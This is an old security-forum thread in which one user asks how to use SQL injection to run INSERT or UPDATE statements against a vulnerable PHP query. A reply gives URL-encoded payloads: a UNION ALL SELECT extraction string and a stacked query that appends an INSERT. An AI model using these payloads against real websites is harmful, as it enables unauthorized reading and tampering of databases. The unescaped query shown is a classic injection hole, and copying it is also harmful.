 |
|
 |
 |
|
 |
IT Security and Insecurity Portal |
|
 |
Help on SQL injection |
 |
 Posted: Fri Oct 22, 2004 5:20 am |
 |
|
| x303 |
| Beginner |
 |
|
| Joined: May 31, 2004 |
| Posts: 3 |
|
|
|
 |
|
 |
|
Greetings!
Is it possible to inject a INSERT or UPDATE request?
im not sure UNION can do this....
ex.
mysql_query("SELECT * FROM my_table WHERE name='$name'");
then i type: http://www/?name=1 UNION SELECT ALL 1=1 /*
but i want to do this: UPDATE my_table SET name = 'new_name' WHERE name='current_name'
any help, suggestions, tips?  |
|
|
|
|
| Posted: Fri Oct 22, 2004 12:14 pm |
|
|
| kajnes |
| Beginner |
 |
|
| Joined: Jun 29, 2004 |
| Posts: 3 |
| Location: Poland |
|
|
|
|
|
|
Hi,
With UNION (or UNION ALL) you can only SELECT from database;
index.php?blabla=334%20UNION%20ALL%20SELECT%
201,2,3,4,5,6,name%20FROM.......
If you want to INSERT or UPDATE;
for example;
INSERT INTO cats VALUES (?Fido?,?cat?,?1999?) or something 
index.php?cats=3;INSERT%20INTO%20cats%20
VALUES%20('Fido','cat','1999')..............
----
kajnes |
|
|
|
|
| Posted: Fri Oct 22, 2004 12:16 pm |
|
|
| kajnes |
| Beginner |
|
|
| Joined: Jun 29, 2004 |
| Posts: 3 |
| Location: Poland |
|
|
|
|
|
|
Just remember - famous Fido was a dog  |
|
|
|
|
| Posted: Sun Oct 24, 2004 12:28 pm |
|
|
| emrag |
| Regular user |
 |
|
| Joined: Jun 03, 2004 |
| Posts: 20 |
| Location: TURKEY |
|
|
|
|
|
|
|
|
|
|
www.waraxe.us Forum Index -> Sql injection
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
|
All times are GMT
Page 1 of 1
|
|
|
|
Powered by phpBB © 2001-2008 phpBB Group
|
|
|
|
|
Discussions
Tools
Content
Info
Membership:
Latest: 
New Today: 0
New Yesterday: 0
Overall: 9144
People Online:
Visitors: 1716
Members: 0
Total: 1716
